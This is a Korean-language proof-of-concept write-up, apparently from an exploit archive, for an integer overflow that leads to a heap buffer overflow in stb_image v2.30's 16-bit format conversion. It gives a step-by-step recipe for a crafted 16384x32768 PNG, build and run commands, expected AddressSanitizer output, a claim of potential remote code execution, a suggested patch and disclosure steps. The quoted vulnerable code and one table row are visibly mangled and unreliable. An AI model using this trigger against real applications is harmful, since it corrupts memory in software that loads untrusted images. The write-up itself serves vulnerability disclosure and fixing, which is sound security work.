Exploit for stb-image-cwe190-poc

## https://sploitus.com/exploit?id=F3D17176-5D0C-5566-B8CB-429DE0FE6CFF
# PoC — `stb_image` v2.30 `stbi__convert_format16` integer overflow → heap buffer overflow

대상: [`nothings/stb`](https://github.com/nothings/stb) — `stb_image.h` v2.30 (현재 트렁크 head, 2026-05 기준)
취약 위치: `stb_image.h` 라인 1820, 함수 `stbi__convert_format16`
카테고리: **CWE-190** (Integer Overflow) → **CWE-122** (Heap-based Buffer Overflow)
영향: heap memory corruption, 잠재적 RCE
검증: Linux x86_64 + glibc + AddressSanitizer

## 결함 요약

```c
static stbi__uint16 *stbi__convert_format16(stbi__uint16 *data, int img_n, int req_comp, unsigned int x, unsigned int y)
{
   ...
   good = (stbi__uint16 *) stbi__malloc(req_comp * x * y * 2);   // ← 검증 없는 32-bit 곱셈
   ...
   for (j=0; j = 0; --i, src += a, dest += b) { ... }
      STBI__CASE(1,4) { dest[0]=src[0]; dest[1]=src[0]; dest[2]=src[0]; dest[3]=0xffff; } break;
      ...
   }
}
```

`req_comp * x * y * 2`는 **signed 32-bit `int`** 산술. 호출자(`stbi__do_png` 등)는
디코드된 raw 사이즈만 검증하고 **req_comp 적용 후의 사이즈는 검증하지 않는다**.

## 트리거 시나리오 (PNG 16-bit grayscale)

| 단계 | 값 | 검증 통과? |
|---|---|---|
| IHDR x, y, depth, color | 16384, 32768, 16, 0 (grayscale) | ✓ |
| IHDR sanity `(1out` alloc | 2^30 bytes (1 GB, 정상 alloc) | ✓ |
| zlib decompress | 모두 0 → 압축률 99%, 디스크 PoC ~수십 KB | ✓ |
| `stbi__convert_format16(out, 1, 4, 16384, 32768)` 호출 | — | — |
| **`req_comp * x * y * 2 = 4 × 16384 × 32768 × 2 = 0x100000000`** | signed int wrap → **0** | ★ |
| `stbi__malloc(0)` | glibc → 작은 valid pointer (16-byte chunk 등) | — |
| 변환 루프 `STBI__CASE(1,4)` 첫 iteration | `good[0]=…, good[3]=0xffff` write | **OOB heap write** |

ASan은 첫 iteration `dest[0] = src[0]` 또는 `dest[3] = 0xffff` 시점에 immediate
heap-buffer-overflow를 보고합니다.

## 파일 구성

| 파일 | 설명 |
|---|---|
| `generate_poc_png.py` | 16-bit grayscale 16384×32768 PNG (악성, ~수 MB) 생성기 |
| `poc.c` | `stb_image.h` 단독 호출자 (req_comp=4 강제) |
| `build_and_run.sh` | upstream `stb_image.h` 페치 → ASan 빌드 → PoC 실행 |
| `README.md` | 이 문서 |

## 재현 (Linux)

```bash
chmod +x build_and_run.sh
./build_and_run.sh
```

또는 수동:

```bash
wget https://raw.githubusercontent.com/nothings/stb/master/stb_image.h
python3 generate_poc_png.py poc.png
gcc -O0 -g -fsanitize=address poc.c -o poc -lm
./poc poc.png
```

## 환경 요구사항

- Linux x86_64 (또는 ARM64), glibc
- gcc 또는 clang (`-fsanitize=address` 지원)
- python3
- ~2 GB 가용 RAM (1 GB raw image buffer + ASan shadow ~25%)
- ~30 MB 디스크 (압축된 PNG)

Windows에서는 ASan 동작이 다르고 64-bit malloc(0) 동작이 약간 달라 검증은 Linux에서 수행 권장.

## 예상 ASan 출력 (요약)

```
==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x... at pc 0x...
WRITE of size 2 at 0x... thread T0
    #0 0x... in stbi__convert_format16 .../stb_image.h:18XX
    #1 0x... in stbi__do_png .../stb_image.h:5280
    #2 0x... in stbi__png_load .../stb_image.h:5295
    #3 0x... in stbi_load_16 .../stb_image.h:1295
    #4 0x... in main .../poc.c:48
0x... is located 0 bytes to the right of 16-byte region [0x..., 0x...)
allocated by thread T0 here:
    #0 0x... in malloc
    #1 0x... in stbi__malloc .../stb_image.h:1043
    #2 0x... in stbi__convert_format16 .../stb_image.h:1820
```

## 영향 분석

- **Severity**: High. heap metadata 인접 chunk 덮어쓰기 가능 → 잠재적 RCE.
- **공격 표면**: `stb_image`는 게임 엔진/이미지 도구/임베디드 환경에서 매우 광범위하게 쓰이는 single-header 라이브러리. 신뢰되지 않은 PNG/PSD/PNM 입력을 받는 모든 코드가 영향.
- **상시 reproducible**: PNG 16-bit grayscale + `stbi_load*` with `req_comp=4`. 추가로 PSD 16-bit 일부 경로 및 PNM 16-bit 경로도 유사 trigger 가능 (PNG 경로가 PoC 사이즈가 가장 작음).

## 패치 제안

`stbi__convert_format16` 진입부에 곱셈 검증을 추가:

```c
static stbi__uint16 *stbi__convert_format16(stbi__uint16 *data, int img_n, int req_comp, unsigned int x, unsigned int y)
{
   int i, j;
   stbi__uint16 *good;

   if (req_comp == img_n) return data;
   STBI_ASSERT(req_comp >= 1 && req_comp <= 4);

   /* Validate the conversion size: req_comp * x * y * 2 must fit in INT_MAX. */
   if (!stbi__mad3sizes_valid(req_comp, (int)x, (int)y, 0) ||
       !stbi__mul2sizes_valid(req_comp * (int)x * (int)y, 2)) {
      STBI_FREE(data);
      return (stbi__uint16 *) stbi__errpuc("too large", "Image conversion too large");
   }

   good = (stbi__uint16 *) stbi__malloc((size_t)req_comp * x * y * 2);
   ...
}
```

또는 더 간결하게 `stbi__malloc_mad4(req_comp, x, y, 2, 0)`로 교체.

`stbi__convert_format` (8-bit 버전, 라인 1799 근방)도 동일 패턴이므로 함께 검토 권장.

## Disclosure

책임 있는 disclosure 절차:
1. nothings/stb GitHub 저장소에 비공개 security advisory (Security tab → Report a vulnerability)
2. 또는 메인테이너(Sean Barrett, @nothings)에게 직접 이메일/이슈
3. CVE 신청 (MITRE 또는 GHSA 자동발급)

## 라이선스

이 PoC는 stb 라이선스(Public Domain / MIT-0)와 호환되도록 동일 조건으로 배포합니다. 보안 연구 목적으로만 사용하세요.